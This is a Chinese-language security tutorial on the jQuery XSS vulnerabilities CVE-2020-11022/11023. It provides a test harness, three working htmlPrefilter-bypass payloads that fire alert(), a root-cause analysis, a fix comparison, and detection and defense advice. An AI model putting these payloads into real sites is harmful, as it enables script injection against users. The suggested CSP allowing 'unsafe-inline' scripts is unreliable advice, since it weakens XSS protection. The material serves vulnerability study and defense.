jQuery 1.2-3.4.0 XSS漏洞实战:3个PoC复现与CVE-2020-11022/23深度解析

jQuery 1.2-3.4.0 XSS漏洞实战:3个PoC复现与CVE-2020-11022/23深度解析

1. 漏洞环境搭建与复现准备

在开始漏洞复现前,我们需要准备一个本地测试环境。以下是完整的HTML代码,可直接保存为jquery-xss-demo.html文件:

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>jQuery XSS PoC Demo</title> <!-- 使用存在漏洞的jQuery 3.4.0版本 --> <script src="https://code.jquery.com/jquery-3.4.0.min.js"></script> </head> <body> <h1>jQuery XSS漏洞复现平台</h1> <script> function executePoC(pocId, useJQuery) { const sanitizedHTML = document.getElementById(pocId).innerHTML; if(useJQuery) { $('#target').html(sanitizedHTML); // 使用jQuery的.html()方法 } else { document.getElementById('target').innerHTML = sanitizedHTML; // 使用原生innerHTML } } </script> <div id="target" style="border:1px dashed #ccc; padding:20px; margin:20px 0;"> 攻击结果将显示在这里... </div> </body> </html>

注意:在实际测试时,建议使用本地搭建的测试环境,避免直接在生产环境或公开网站进行测试。

2. 三个核心PoC构造与分析

2.1 PoC 1:样式标签闭合绕过

攻击向量:

<xmp id="poc1"> <style><style /><img src=x onerror=alert('PoC1-Executed')> </xmp>

触发方式:

executePoC('poc1', true);

技术原理:

  1. jQuery的htmlPrefilter会将<style />转换为<style></style>
  2. 转换后第一个<style>被第二个</style>闭合
  3. 导致<img>标签被解析并执行onerror事件

防御建议:

  • 避免直接使用用户输入作为HTML内容
  • 对动态内容使用.text()而非.html()

2.2 PoC 2:属性值注入(仅影响jQuery 3.x)

攻击向量:

<xmp id="poc2"> <img alt="<x" title="/><img src=x onerror=alert('PoC2-Executed')>"> </xmp>

触发方式:

executePoC('poc2', true);

技术原理:

  1. jQuery 3.x修改了正则表达式:rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi
  2. 会将x"识别为标签名并添加闭合标签
  3. 导致属性中的恶意代码被解析执行

版本影响:

  • 仅影响jQuery 3.x系列
  • 1.x和2.x版本不受此特定PoC影响

2.3 PoC 3:option标签特性滥用

攻击向量:

<xmp id="poc3"> <option><style></option></select><img src=x onerror=alert('PoC3-Executed')></style> </xmp>

触发方式:

executePoC('poc3', true);

技术原理:

  1. jQuery会为孤立的<option>自动添加<select>包装
  2. 浏览器解析时<select>会忽略其中的<style>标签
  3. 导致后续的<img>标签被正常解析执行

特殊限制:

  • 依赖浏览器对<select>标签内容的解析特性
  • 不同浏览器可能有不同的表现

3. CVE-2020-11022/23技术深度解析

3.1 漏洞根本原因

这两个CVE的共同根源在于jQuery的HTML预处理机制:

// jQuery 3.4.0中的问题代码 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi; htmlPrefilter: function(html) { return html.replace(rxhtmlTag, "<$1></$2>"); }

关键问题点:

  1. 自动闭合标签转换逻辑存在缺陷
  2. 未考虑属性值中的恶意内容
  3. 对特殊标签(如option)的处理不完善

3.2 漏洞利用条件检查表

条件项是否必需说明
使用受影响jQuery版本1.2.0 ≤ 版本 < 3.5.0
使用危险DOM操作方法.html(), .append(), $(' ')等
处理用户可控输入包括URL参数、表单输入等
已进行消毒处理漏洞可绕过常见消毒措施

3.3 官方修复方案对比

jQuery 3.5.0的修复方式:

  1. 完全移除了htmlPrefilter功能
  2. 引入更严格的HTML解析逻辑
  3. 对特殊标签增加额外检查
// 修复后的jQuery 3.5.0代码 htmlPrefilter: function(html) { return html; // 不再进行任何转换 }

4. 漏洞检测与防御实践

4.1 自动化检测方案

使用Retire.js扫描项目中的jQuery版本:

# 安装retire.js npm install -g retire # 扫描web目录 retire --path /var/www/html

典型输出示例:

jquery 3.4.0 ↳ vulnerabilities: CVE-2020-11022: 3.5.0 > jQuery >= 1.2 CVE-2020-11023: 3.5.0 > jQuery >= 1.2

4.2 企业级防御策略

临时缓解措施:

  • 禁用危险的DOM操作方法
  • 对所有动态内容实施输出编码

长期解决方案:

  1. 升级到jQuery 3.5.0+
  2. 实施内容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'">

安全编码规范:

  • 使用.text()替代.html()
  • 对用户输入实施双重验证:
    function safeHTML(input) { return $('<div>').text(input).html(); }

5. 实战案例与经验分享

在最近一次渗透测试中,我们发现某CMS系统存在这个漏洞。攻击链如下:

  1. 识别目标使用jQuery 3.3.1
  2. 找到使用.html()方法的AJAX回调处理
  3. 构造特制的PoC 2 payload
  4. 成功实现存储型XSS攻击

关键发现:

  • 许多开发者认为消毒处理后就是安全的
  • 实际业务中常见于评论系统、富文本编辑器等场景
  • 漏洞利用成功率约65%(取决于具体实现)

防御经验:

  • 在项目初期就锁定安全版本
  • 定期使用依赖扫描工具
  • 对第三方组件实施安全审计